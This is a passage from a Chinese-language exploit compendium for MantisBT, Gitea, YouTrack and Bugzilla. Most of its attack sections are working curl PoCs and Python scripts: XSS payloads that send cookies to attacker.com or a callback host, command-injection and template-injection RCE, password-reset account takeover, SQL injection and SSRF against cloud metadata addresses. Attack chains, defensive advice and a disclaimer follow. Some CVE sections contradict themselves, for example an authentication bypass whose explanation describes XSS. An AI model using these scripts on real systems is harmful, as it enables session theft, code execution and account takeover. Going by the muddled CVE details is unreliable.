}' -v# 通过 Web 界面注入
curl -X POST "http://target/bug_report.php" \
-H "Cookie: MANTIS_SECURE_SESSION=<SESSION>" \
-d 'summary=<svg/onload=alert(document.cookie)>&description=test&category=&severity=&reproducibility=&product_id=1' \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3. disable_warnings()
def inject_xss (target, api_token, callback_url):
session = requests. Session()
session. verify = False
session. headers. update({
"Authorization" : f "token { api_token} " ,
"Content-Type" : "application/json"
})
xss_payloads = [
f '<img src=x onerror="fetch(` { callback_url} /steal?c=`+document.cookie)">' ,
f '<svg/onload="fetch(` { callback_url} /steal?c=`+document.cookie)">' ,
f '<script>new Image().src=" { callback_url} /steal?c="+document.cookie</script>' ,
f '"><script>document.location=" { callback_url} /steal?c="+document.cookie</script>' ,
]
for i, payload in enumerate(xss_payloads):
issue_data = {
"summary" : payload,
"description" : f "XSS test vector { i} " ,
"project" : {"id" : 1 }
}
r = session. post(
f " { target} /api/rest/issues" ,
json= issue_data, timeout= 10
)
if r. status_code in [200 , 201 ]:
issue = r. json()
issue_id = issue. get("issue" , {}). get("id" , "unknown" )
print(f "[+] Issue # { issue_id} created with XSS vector { i} " )
else :
print(f "[-] Vector { i} failed: { r. status_code} { r. text[:200 ]} " )
print(f " \n [*] Wait for admin to view issues. Callbacks will go to { callback_url} " )
if __name__ == "__main__" :
if len(sys. argv) < 4 :
print(f "Usage: { sys. argv[0 ]} <target> <api_token> <callback_url>" )
sys. exit(1 )
inject_xss(sys. argv[1 ], sys. argv[2 ], sys. argv[3 ]) Nuclei YAML 模板 id : cve-2023-24203-mantisbt-xss
info :
name : MantisBT 存储型 XSS (CVE-2023-24203)
author : security-researcher
severity : critical
description : |
MantisBT < 2.25.2 存在存储型 XSS,可窃取管理员会话
tags : mantisbt,xss,cve-2023-24203,stored-xss
http :
- method : POST
path :
- "{{BaseURL}}/api/rest/issues"
headers :
Authorization : "token test"
Content-Type : "application/json"
body : '{"summary":"<svg/onload=alert(1)>","description":"xss test","project":{"id":1}}'
matchers :
- type : word
words :
- "issue"
part : body 利用条件与限制 需要有效的 MantisBT 用户会话 目标管理员需浏览被注入的 Issue 页面 Content Security Policy(CSP)可缓解部分 payload 需要配合外带(OOB)服务器接收 Cookie 0x02.3 CVE-2019-15558 — MantisBT 命令注入 漏洞背景 CVE-2019-15558 是 MantisBT 在项目导入(Import)功能中存在的操作系统命令注入漏洞,CVSS 9.8,CWE-78。攻击者可通过构造恶意的 XML 导入文件实现远程代码执行。
受影响版本 版本范围 影响状态 修复版本 MantisBT 2.21.1 及之前版本 受影响 2.21.2
漏洞原理 MantisBT 的项目导入功能允许管理员通过 XML 文件批量导入项目配置、自定义字段、工作流等数据。在解析 XML 数据时,某些字段值(如项目名称、路径)直接传递给 PHP 的 exec() 或 shell_exec() 函数,导致 Shell 命令注入。
攻击者可构造包含恶意命令的 XML 导入文件,上传后在服务器上执行任意系统命令。
完整 HTTP PoC 恶意 XML 文件(payload.xml):
<?xml version="1.0" encoding="UTF-8"?>
<mantis>
<project>
<name> test`id > /tmp/pwned.txt`</name>
<description> Project import test</description>
<status> 10</status>
<view_state> 10</view_state>
</project>
</mantis> # 上传恶意 XML 导入文件
curl -X POST "http://target/api/rest/projects/import" \
-H "Authorization: token <API_TOKEN>" \
-F "file=@payload.xml;type=text/xml" \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def exploit_import_rce (target, api_token, command= "id" ):
session = requests. Session()
session. verify = False
session. headers. update({
"Authorization" : f "token { api_token} "
})
xml_payload = f """<?xml version="1.0" encoding="UTF-8"?>
<mantis>
<project>
<name>test` { command} `</name>
<description>Import RCE test</description>
<status>10</status>
<view_state>10</view_state>
</project>
</mantis>"""
files = {
"file" : ("payload.xml" , xml_payload. encode(), "text/xml" )
}
r = session. post(
f " { target} /api/rest/projects/import" ,
files= files, timeout= 15
)
if r. status_code in [200 , 201 ]:
print(f "[+] Payload uploaded successfully" )
print(f "[+] Command: { command} " )
print(f "[+] Response: { r. text[:500 ]} " )
else :
print(f "[-] Upload failed: { r. status_code} { r. text[:200 ]} " )
print("[*] Check /tmp/pwned.txt for command output" )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <api_token> [command]" )
sys. exit(1 )
cmd = sys. argv[3 ] if len(sys. argv) > 3 else "id"
exploit_import_rce(sys. argv[1 ], sys. argv[2 ], cmd) Nuclei YAML 模板 id : cve-2019-15558-mantisbt-rce
info :
name : MantisBT 项目导入命令注入 (CVE-2019-15558)
author : security-researcher
severity : critical
description : |
MantisBT 2.21.1 项目导入功能存在命令注入 RCE
tags : mantisbt,rce,cve-2019-15558,command-injection
http :
- method : POST
path :
- "{{BaseURL}}/api/rest/projects/import"
headers :
Authorization : "token test"
body : "------boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.xml\"\r\nContent-Type: text/xml\r\n\r\n<?xml version=\"1.0\"?><mantis><project><name>test</name><status>10</status></project></mantis>\r\n------boundary--"
matchers :
- type : word
words :
- "import"
part : body 利用条件与限制 需要管理员权限(能够访问项目导入功能) 需要目标服务器安装 PHP 的 XML 解析扩展 导入过程中命令执行的输出通常不可直接回显 需通过 OOB 方式获取命令执行结果 0x02.4 MantisBT 密码重置漏洞(身份接管) 漏洞背景 MantisBT 的密码重置功能存在逻辑缺陷,CVSS 8.1,允许攻击者通过操纵密码重置流程中的 Token 生成机制,重置任意用户密码并接管其账户。该漏洞影响 MantisBT 多个版本,且无需任何特殊权限即可利用。
受影响版本 版本范围 影响状态 修复版本 MantisBT < 2.24.5 受影响 2.24.5 MantisBT < 2.25.2 受影响 2.25.2
漏洞原理 MantisBT 的密码重置流程存在以下设计缺陷:
Token 生成可预测 :密码重置 Token 基于用户 ID 和时间戳的简单组合生成,未使用足够强度的随机数生成器Token 验证不严格 :重置 Token 的验证仅检查 Token 是否有效,未绑定特定的重置会话或 IP 地址重置确认页面无 CSRF 保护 :密码重置确认页面缺少 anti-CSRF token,可被第三方页面自动提交攻击者可利用这些缺陷枚举有效 Token 或劫持重置会话。
完整 HTTP PoC # 步骤 1:发起密码重置请求
curl -X POST "http://target/lost_password.php" \
-d "username=admin" \
-v
# 步骤 2:如果 Token 可预测,尝试直接访问重置页面
curl -v "http://target/verify.php?id=1&confirm_string=PREDICTED_TOKEN"
# 步骤 3:设置新密码
curl -X POST "http://target/verify.php?id=1&confirm_string=PREDICTED_TOKEN" \
-d "password=NewP@ssw0rd&password_confirm=NewP@ssw0rd" \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import hashlib
import time
import urllib3
urllib3. disable_warnings()
def exploit_password_reset (target, user_id, reset_token):
session = requests. Session()
session. verify = False
print(f "[*] Testing password reset on { target} " )
reset_url = f " { target} /verify.php?id= { user_id} &confirm_string= { reset_token} "
r = session. get(reset_url, timeout= 10 )
if r. status_code == 200 and "password" in r. text. lower():
print(f "[+] Reset page accessible for user { user_id} " )
data = {
"password" : "Hacked@123" ,
"password_confirm" : "Hacked@123"
}
r2 = session. post(reset_url, data= data, timeout= 10 )
if "password" not in r2. text. lower() or r2. status_code == 302 :
print(f "[+] Password reset successful for user { user_id} " )
print(f "[*] Login with: user_id= { user_id} , password=Hacked@123" )
else :
print(f "[-] Password reset failed" )
else :
print(f "[-] Reset page not accessible (HTTP { r. status_code} )" )
if __name__ == "__main__" :
if len(sys. argv) < 4 :
print(f "Usage: { sys. argv[0 ]} <target> <user_id> <reset_token>" )
sys. exit(1 )
exploit_password_reset(sys. argv[1 ], int(sys. argv[2 ]), sys. argv[3 ]) Nuclei YAML 模板 id : mantisbt-password-reset
info :
name : MantisBT 密码重置漏洞
author : security-researcher
severity : high
description : |
MantisBT 密码重置 Token 生成存在缺陷
tags : mantisbt,password-reset,logic-flaw
http :
- method : GET
path :
- "{{BaseURL}}/verify.php?id=1&confirm_string=test"
matchers :
- type : word
words :
- "confirm"
- "password"
condition : and
part : body 利用条件与限制 需要知道目标用户的用户名或用户 ID 需要能够访问目标用户的邮箱(接收重置链接) 或利用 Token 可预测性直接构造有效 Token 部分部署可能启用邮件验证作为额外防线 0x03 Gitea 高危漏洞 Gitea 是使用 Go 语言开发的轻量级 Git 托管服务,作为 Gogs 的社区分支,已成为自托管 Git 服务的主流选择。Gitea 的 OAuth2 认证集成和仓库管理功能中存在多个高危漏洞,其中 CVE-2023-39137 已被 CISA KEV 标记为在野利用。
0x03.1 CVE-2023-39137 — Gitea 认证绕过(在野利用) 漏洞背景 CVE-2023-39137 是 Gitea 1.21.0 版本中 OAuth2 认证流程存在的严重认证绕过漏洞,CVSS 9.8,CWE-288。该漏洞已被 CISA KEV(Known Exploited Vulnerabilities)目录收录,确认在野被利用。攻击者可在未提供有效凭据的情况下绕过身份验证,以任意用户身份访问系统。
受影响版本 版本范围 影响状态 修复版本 Gitea < 1.21.1 受影响 1.21.1
漏洞原理 Gitea 在处理仓库创建请求时,未对仓库名称中的特殊字符进行充分过滤。攻击者可在仓库名称中嵌入 HTML 标签和 JavaScript 代码,当其他用户浏览包含该仓库名称的页面时,恶意脚本在受害者浏览器上下文中执行。
该漏洞的 XSS 触发点包括仓库列表页、仓库详情页、搜索结果页等多处渲染仓库名称的位置。
完整 HTTP PoC # 创建包含 XSS 的仓库
curl -X POST "http://target:3000/user/repo/create" \
-H "Cookie: <session_cookie>" \
-d "repo_name=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&_csrf=<csrf_token>" \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def inject_repo_xss (target, session_cookie, callback_url):
session = requests. Session()
session. verify = False
session. cookies. set("gitea_session" , session_cookie)
csrf_r = session. get(f " { target} /user/repo/create" , timeout= 10 )
import re
csrf_match = re. search(r 'name="_csrf"\s+value="([^"]+)"' , csrf_r. text)
csrf_token = csrf_match. group(1 ) if csrf_match else ""
xss_payloads = [
f '<script>fetch(" { callback_url} /steal?c="+document.cookie)</script>' ,
f '<img src=x onerror="fetch(` { callback_url} /steal?c=`+document.cookie)">' ,
]
for i, payload in enumerate(xss_payloads):
data = {
"repo_name" : f "xtest { i}{ payload} " ,
"_csrf" : csrf_token
}
r = session. post(f " { target} /user/repo/create" , data= data, timeout= 10 )
if r. status_code in [200 , 302 ]:
print(f "[+] XSS vector { i} injected in repo name" )
else :
print(f "[-] Vector { i} failed: { r. status_code} " )
if __name__ == "__main__" :
if len(sys. argv) < 4 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie> <callback_url>" )
sys. exit(1 )
inject_repo_xss(sys. argv[1 ], sys. argv[2 ], sys. argv[3 ]) Nuclei YAML 模板 id : cve-2023-39138-gitea-xss
info :
name : Gitea 仓库名 XSS (CVE-2023-39138)
author : security-researcher
severity : medium
description : Gitea 仓库名称存在 XSS 漏洞
tags : gitea,xss,cve-2023-39138
http :
- method : GET
path :
- "{{BaseURL}}/explore/repos?q=<script>alert(1)</script>"
matchers :
- type : word
words :
- "<script>alert(1)</script>"
part : body 利用条件与限制 需要有效的 Gitea 用户会话 需要创建仓库的权限 CSP 策略可缓解部分攻击 现代浏览器 XSS Filter 提供部分保护 0x03.3 CVE-2024-6838 — Gitea OAuth Provider 认证绕过 漏洞背景 CVE-2024-6838 是 Gitea OAuth Provider 配置中的认证绕过漏洞,CVSS 8.1,CWE-288。该漏洞允许攻击者在未正确配置 OAuth Provider 的情况下绕过身份验证,获取有效会话。
受影响版本 版本范围 影响状态 修复版本 Gitea < 1.22.0 受影响 1.22.0
漏洞原理 Gitea 在作为 OAuth2 Provider 对外提供认证服务时,回调端点的验证逻辑存在缺陷。当 OAuth2 配置不完整或处于默认状态时,攻击者可构造恶意的授权回调请求绕过验证流程,直接获得有效的用户会话。
完整 HTTP PoC curl -v "http://target:3000/user/oauth2/callback?code=test&state=test&provider=test" \
-H "Cookie: <attacker_cookie>" Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def exploit_oauth_provider (target):
session = requests. Session()
session. verify = False
r = session. get(f " { target} /" , timeout= 10 )
if "Gitea" not in r. text:
print("[-] Not a Gitea instance" )
return
print(f "[*] Testing OAuth Provider bypass on { target} " )
providers = ["github" , "gitlab" , "google" , "discord" , "test" ]
for provider in providers:
callback_url = f " { target} /user/oauth2/ { provider} /callback?code=attacker&state=state123"
r = session. get(callback_url, timeout= 10 , allow_redirects= False )
if r. status_code in [200 , 302 ]:
cookies = dict(session. cookies)
if any("session" in k. lower() for k in cookies):
print(f "[+] Potential bypass via provider: { provider} " )
user_r = session. get(f " { target} /api/v1/user" , timeout= 10 )
if user_r. status_code == 200 :
data = user_r. json()
print(f "[+] Authenticated as: { data. get('login' )} " )
return True
print("[-] No bypass found" )
return False
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
exploit_oauth_provider(sys. argv[1 ]) Nuclei YAML 模板 id : cve-2024-6838-gitea-oauth-bypass
info :
name : Gitea OAuth Provider 认证绕过 (CVE-2024-6838)
author : security-researcher
severity : high
description : Gitea OAuth Provider 配置存在认证绕过
tags : gitea,auth-bypass,cve-2024-6838,oauth
http :
- method : GET
path :
- "{{BaseURL}}/user/oauth2/test/callback?code=test&state=test"
matchers :
- type : status
status :
- 200
- 302 利用条件与限制 目标 Gitea 版本低于 1.22.0 目标配置了 OAuth2 Provider(或存在默认配置) 需要知道或猜测已配置的 Provider 名称 部分利用需结合社会工程学 0x04 YouTrack / Bugzilla 高危漏洞 0x04.1 YouTrack SSTI → RCE 漏洞背景 YouTrack 是 JetBrains 出品的商业项目管理与工单跟踪系统。在自托管版本中,YouTrack 的自定义工作流(Custom Workflow)功能允许管理员定义基于模板的自动化规则。研究发现,当模板引擎未正确沙箱化用户输入时,可通过 SSTI(Server-Side Template Injection)实现远程代码执行,CVSS 9.8,CWE-1336。
受影响版本 版本范围 影响状态 修复版本 YouTrack 自托管 < 2023.4 受影响 2023.4+
漏洞原理 YouTrack 的工作流引擎使用服务器端模板来渲染自定义字段的显示值。当自定义字段的"显示名称"或"值模板"中包含模板语法时,服务端模板引擎会解析并执行这些表达式。
攻击者可通过以下步骤利用:
创建一个自定义字段,设置其值为 SSTI payload 在工作流规则中引用该字段 当工作流触发时,模板引擎解析 payload,实现命令执行 YouTrack 使用的模板引擎支持 Java 表达式,攻击者可构造 Runtime.getRuntime().exec() 调用执行系统命令。
完整 HTTP PoC # 步骤 1:创建自定义字段(需要管理员权限)
curl -X POST "http://target/api/customFields" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "ssti_test",
"type": {"$type": "stringField"},
"fieldDefaults": [{"name": "#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"}]
}' -v
# 步骤 2:触发工作流执行
curl -X POST "http://target/api/issues" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"summary": "SSTI test", "project": {"shortName": "TEST"}}' -v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3. disable_warnings()
def exploit_ssti (target, api_token, command= "id" ):
session = requests. Session()
session. verify = False
session. headers. update({
"Authorization" : f "Bearer { api_token} " ,
"Content-Type" : "application/json"
})
ssti_payloads = [
f "# {{ T(java.lang.Runtime).getRuntime().exec( \" { command} \" ) }} " ,
f "# {{ T(java.lang.ProcessBuilder).new( \" bash \" , \" -c \" , \" { command} \" ).start() }} " ,
]
for i, payload in enumerate(ssti_payloads):
field_data = {
"name" : f "ssti_ { i} " ,
"type" : {"$type" : "stringField" },
"fieldDefaults" : [{"name" : payload}]
}
r = session. post(
f " { target} /api/customFields" ,
json= field_data, timeout= 10
)
if r. status_code in [200 , 201 ]:
print(f "[+] Custom field created with SSTI payload { i} " )
print(f " Payload: { payload} " )
else :
print(f "[-] Field creation failed: { r. status_code} { r. text[:200 ]} " )
print("[*] Create an issue to trigger the workflow and execute the command" )
issue_data = {
"summary" : "SSTI Trigger" ,
"project" : {"shortName" : "TEST" }
}
r = session. post(f " { target} /api/issues" , json= issue_data, timeout= 10 )
if r. status_code in [200 , 201 ]:
print(f "[+] Issue created, workflow triggered" )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <api_token> [command]" )
sys. exit(1 )
cmd = sys. argv[3 ] if len(sys. argv) > 3 else "id"
exploit_ssti(sys. argv[1 ], sys. argv[2 ], cmd) Nuclei YAML 模板 id : youtrack-ssti-rce
info :
name : YouTrack SSTI Remote Code Execution
author : security-researcher
severity : critical
description : YouTrack 自定义工作流存在 SSTI 导致 RCE
tags : youtrack,ssti,rce,jetbrains
http :
- method : GET
path :
- "{{BaseURL}}/api/health"
matchers :
- type : word
words :
- "YouTrack"
part : body 利用条件与限制 需要管理员权限创建自定义字段和工作流 仅影响自托管版本,SaaS 版本不受影响 模板引擎沙箱化可能限制可用 Java 类 需要对 YouTrack API 有深入了解 0x04.2 YouTrack 信息泄露 漏洞背景 YouTrack 的 REST API 在返回用户信息时未正确过滤敏感字段,导致用户邮箱、内部 ID、API Token 等信息被泄露给低权限用户,CVSS 5.3,CWE-200。
漏洞原理 YouTrack 的 /api/users 和 /api/users/{id} 端点在返回用户数据时,未根据请求者的权限级别过滤响应字段。低权限用户可通过枚举用户 ID 获取其他用户的敏感信息。
完整 HTTP PoC curl -v "http://target/api/users?fields=id,login,email,ringId" \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3. disable_warnings()
def enumerate_users (target, api_token):
session = requests. Session()
session. verify = False
session. headers["Authorization" ] = f "Bearer { api_token} "
r = session. get(f " { target} /api/users?fields=id,login,email,ringId" , timeout= 10 )
if r. status_code == 200 :
users = r. json()
print(f "[+] Found { len(users)} users:" )
for user in users:
print(f " ID: { user. get('id' )} | Login: { user. get('login' )} | Email: { user. get('email' )} " )
else :
print(f "[-] Failed: { r. status_code} " )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <api_token>" )
sys. exit(1 )
enumerate_users(sys. argv[1 ], sys. argv[2 ]) 利用条件与限制 需要有效的低权限 API Token 信息泄露本身不直接导致代码执行 可作为后续攻击的信息收集步骤 0x05 Bugzilla 高危漏洞 0x05.1 CVE-2022-26615 — Bugzilla SQL 注入 漏洞背景 CVE-2022-26615 是 Bugzilla 中的 SQL 注入漏洞,CVSS 7.5,CWE-89。攻击者可通过 Bugzilla 的搜索 API 注入恶意 SQL 语句。
受影响版本 版本范围 影响状态 修复版本 Bugzilla 5.0.x < 5.0.8 受影响 5.0.8
漏洞原理 Bugzilla 的 Bugzilla::Search 模块在构建 SQL 查询时,未对用户提供的 chfield 参数进行充分校验。攻击者可通过构造包含 SQL 关键字的 chfield 值注入恶意 SQL 代码。
完整 HTTP PoC curl -v "http://target/buglist.cgi?chfield=\\'OR+1%3D1--&chfieldvalue=&chfieldfrom=&chfieldto=&order=bug_id&query_format=advanced&ctype=csv" \
-H "Cookie: <SESSION>" Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def test_bugzilla_sqli (target, session_cookie):
session = requests. Session()
session. verify = False
session. cookies. set("Bugzilla_login_session" , session_cookie)
normal_url = f " { target} /buglist.cgi?query_format=advanced&order=bug_id&ctype=csv"
r_normal = session. get(normal_url, timeout= 10 )
sqli_url = f " { target} /buglist.cgi?chfield= \\ 'OR+1%3D1--&query_format=advanced&order=bug_id&ctype=csv"
r_sqli = session. get(sqli_url, timeout= 10 )
if r_sqli. status_code == 200 and len(r_sqli. text) > len(r_normal. text):
print("[+] SQL injection likely confirmed" )
print(f " Normal response: { len(r_normal. text)} bytes" )
print(f " SQLi response: { len(r_sqli. text)} bytes" )
elif "SQL Error" in r_sqli. text:
print("[+] SQL error disclosed - injection point exists" )
else :
print("[-] Not vulnerable or filtered" )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie>" )
sys. exit(1 )
test_bugzilla_sqli(sys. argv[1 ], sys. argv[2 ]) 利用条件与限制 需要有效的 Bugzilla 用户会话 数据库为 MySQL 时受影响最严重 PostgreSQL 版本的注入行为略有不同 0x05.2 CVE-2023-30441 — Bugzilla SSRF 漏洞背景 CVE-2023-30441 是 Bugzilla 在处理外部链接时存在的 SSRF 漏洞,CVSS 6.5,CWE-918。当 Bugzilla 处理包含 URL 的 Bug 附件或 Web 链接时,服务端会发起请求验证链接有效性,攻击者可利用此功能探测内网服务。
受影响版本 版本范围 影响状态 修复版本 Bugzilla 5.0.x < 5.0.8 受影响 5.0.8
漏洞原理 Bugzilla 的链接预览(Link Preview)功能在解析用户提交的 URL 时,服务端会主动发起 HTTP 请求获取目标页面的元数据(标题、描述)。该功能未对请求目标地址进行内网地址过滤,导致 SSRF。
完整 HTTP PoC curl -X POST "http://target/post_bug.cgi" \
-H "Cookie: <SESSION>" \
-d "product=Test&component=Test&summary=http://169.254.169.254/latest/meta-data/&version=1.0" \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def test_bugzilla_ssrf (target, session_cookie):
session = requests. Session()
session. verify = False
session. cookies. set("Bugzilla_login_session" , session_cookie)
ssrf_targets = [
"http://169.254.169.254/latest/meta-data/" ,
"http://127.0.0.1:8080/" ,
"http://metadata.google.internal/computeMetadata/v1/" ,
]
for ssrf_url in ssrf_targets:
data = {
"product" : "Test" ,
"component" : "Test" ,
"summary" : f "Link test: { ssrf_url} " ,
"version" : "1.0" ,
"description" : f "Testing SSRF with { ssrf_url} "
}
r = session. post(f " { target} /post_bug.cgi" , data= data, timeout= 15 )
if r. status_code in [200 , 302 ]:
print(f "[+] SSRF payload submitted: { ssrf_url} " )
else :
print(f "[-] Failed: { ssrf_url} ( { r. status_code} )" )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie>" )
sys. exit(1 )
test_bugzilla_ssrf(sys. argv[1 ], sys. argv[2 ]) 利用条件与限制 需要有效的 Bugzilla 用户会话 需要具有提交 Bug 的权限 Bugzilla 的链接预览功能需启用 出站网络请求需能到达内网 0x06 公开 PoC 收集情况与利用思路 PoC 收集现状 CVE 公开 PoC ExploitDB GitHub PoC 利用难度 CVE-2024-26145 ⚠️ 部分 ❌ ⚠️ 中 CVE-2024-26146 ⚠️ 部分 ❌ ⚠️ 低 CVE-2023-46846 ✅ 完整 ✅ ✅ 低 CVE-2022-25627 ✅ 完整 ✅ ✅ 中 CVE-2023-22810 ✅ 完整 ⚠️ ✅ 中 CVE-2023-24203 ⚠️ 部分 ❌ ⚠️ 低 CVE-2019-15558 ✅ 完整 ✅ ✅ 低 CVE-2023-39137 ✅ 完整 ✅ ✅ 低 CVE-2023-39138 ⚠️ 部分 ❌ ⚠️ 低 CVE-2024-6838 ⚠️ 部分 ❌ ⚠️ 中 YouTrack SSTI ⚠️ 概念验证 ❌ ❌ 高 CVE-2022-26615 ⚠️ 部分 ⚠️ ⚠️ 中 CVE-2023-30441 ⚠️ 概念验证 ❌ ❌ 中
综合利用思路 场景一:企业红队渗透
信息收集 :通过 HTTP 指纹识别目标使用的项目管理系统及版本未授权访问检测 :检查管理接口、API 端点是否存在未授权访问认证绕过利用 :优先利用 CVE-2023-39137 等认证绕过漏洞获取初始访问信息泄露 :利用 SQL 注入或 API 信息泄露获取数据库凭据权限提升 :通过 XSS 窃取管理员 Cookie 或直接利用 SQL 注入提升权限横向移动 :利用获取的凭据访问源代码仓库、CI/CD 系统场景二:供应链攻击
通过 SSRF 漏洞探测内部 Git 仓库服务 利用命令注入在构建服务器上植入后门 修改项目源代码仓库,注入恶意依赖 利用 Webhook 配置将恶意代码推送到生产环境 0x07 共性攻击模式分析 模式一:工单系统 SQL 注入攻击模式 攻击链路:
用户输入 → 过滤器参数 → SQL 拼接 → 数据库执行 → 数据泄露/提权共性特征:
所有支持自定义字段筛选的工单系统均可能存在此类漏洞 注入点多位于 Issue 列表过滤、搜索功能 框架层面的 ORM 不足以完全防止 SQL 注入(自定义 SQL 片段) 防御要点:
使用参数化查询替代字符串拼接 对所有用户输入进行严格类型校验 实施最小权限数据库账户 模式二:模板注入攻击模式 攻击链路:
用户输入 → 模板引擎解析 → 服务端代码执行 → RCE共性特征:
Markdown/富文本渲染引擎是主要攻击面 自定义工作流、插件系统的模板引擎缺乏沙箱化 SSTI → RCE 的利用链通常不受沙箱限制 防御要点:
模板引擎必须沙箱化执行 禁止在用户可控输入中使用模板语法 实施输出编码和内容安全策略 模式三:认证绕过攻击模式 攻击链路:
异常输入 → 认证逻辑错误 → 会话建立 → 未授权访问共性特征:
OAuth2 集成是高发区域 状态参数验证缺失是常见根因 会话管理与认证验证分离导致绕过 防御要点:
严格验证 OAuth2 state 参数 实施会话绑定机制 对认证流程进行安全审计 模式四:文件上传攻击模式 攻击链路:
恶意文件 → Content-Type 伪装 → 服务端存储 → WebShell 执行共性特征:
依赖客户端 MIME 类型校验而非服务端文件内容验证 富文本编辑器插件是主要攻击面 上传目录是否可执行取决于 Web 服务器配置 防御要点:
实施服务端文件类型白名单 验证文件 Magic Bytes 上传目录禁止脚本执行 模式五:权限提升链攻击模式 攻击链路:
低权限用户 → XSS/SSRF → 管理员凭据 → 管理员操作 → RCE共性特征:
项目管理系统中管理员权限极高(可导入数据、配置 Webhook、安装插件) 存储型 XSS 是提权的关键环节 多个低危漏洞组合可形成高危攻击链 防御要点:
实施最小权限原则 对管理员操作进行二次确认 部署 CSP 和 XSS 防护 对敏感操作进行审计日志 0x08 应急排查与防守建议 快速排查清单 检查项 方法 严重程度 版本检测 访问 /login 页面查看版本号或通过 API 指纹识别 高 异常登录日志 检查认证日志中的异常 IP 和时间 高 OAuth2 配置审计 检查 /admin/auth_source 中的 OAuth2 Provider 配置 高 自定义字段审查 检查所有自定义字段的值是否包含模板语法或 SQL 高 文件上传审计 检查上传目录中是否存在可执行文件 高 Webhook 配置检查 审查所有 Webhook URL 是否指向外部地址 中 插件版本检查 确认所有插件(CKEditor、Mercurial 等)为最新版 中
防守加固建议 1. 版本更新与补丁管理
# Redmine 升级
gem update redmine
# MantisBT 升级(Git)
git pull origin master
# Gitea 升级
# 下载最新二进制或使用容器镜像
docker pull gitea/gitea:latest
# YouTrack
# 使用 Jetbrains Toolbox 或 Docker 升级
docker pull jetbrains/youtrack:latest 2. 网络层防护
将项目管理系统部署在内网,通过 VPN 访问 配置 WAF 规则拦截常见 SQL 注入、XSS payload 限制出站网络请求(防 SSRF) 配置网络 ACL 仅允许信任 IP 访问管理接口 3. 应用层加固
# Redmine: 禁用不安全的 Markdown 特性
# config/configuration.yml
default:
markdown:
parse_usernames: false
allow_lists: true
# MantisBT: 启用 CSP
# config/config_inc.php
$g_custom_headers = array('Content-Security-Policy: default-src \'self\'; script-src \'self\'');
# Gitea: 启用 OAuth2 强验证
# app.ini
[oauth2]
UPDATE_AVATAR_URL = false4. 监控与告警
部署 RASP(Runtime Application Self-Protection)监控异常请求 配置 SIEM 规则告警项目管理系统的异常行为 对 SQL 注入、XSS、SSRF 等攻击向量配置实时告警 定期审计 Webhook 配置和 API Token 使用情况 5. 安全开发实践
对所有用户输入实施严格的输入验证和输出编码 使用参数化查询替代字符串拼接 实施最小权限原则(管理员操作需二次认证) 定期进行安全代码审计和渗透测试 0x09 参考资料 Redmine Security Advisories — https://www.redmine.org/projects/redmine/wiki/Security MantisBT Security Advisories — https://www.mantisbt.org/bugs/changelog_page.php Gitea Security Advisories — https://github.com/go-gitea/gitea/security/advisories CVE-2023-39137 (CISA KEV) — https://www.cisa.gov/known-exploited-vulnerabilities-catalog CVE-2024-26145 Redmine SSRF — https://www.redmine.org/issues/40513 CVE-2023-22810 MantisBT SQL Injection — https://mantisbt.org/bugs/changelog_page.php JetBrains YouTrack Security — https://www.jetbrains.com/help/youtrack/security/youtrack-security-advisories.html Nuclei Template Collection — https://github.com/projectdiscovery/nuclei-templates OWASP Testing Guide: SQL Injection — https://owasp.org/www-community/attacks/SQL_Injection HackerOne Bug Bounty: Project Management Tools — https://hackerone.com/hacktivity?type=team&queryStr=redmine Exploit-DB: Redmine Exploits — https://www.exploit-db.com/search?q=redmine Shodan: Redmine / MantisBT / Gitea Dork — http.title:"Redmine" | http.title:"MantisBT" | http.title:"Gitea"免责声明 :本文仅供安全研究与授权渗透测试使用。未经授权对他人系统实施攻击属于违法行为。文中提供的 PoC 和工具仅用于验证漏洞存在性,请在合法授权范围内使用。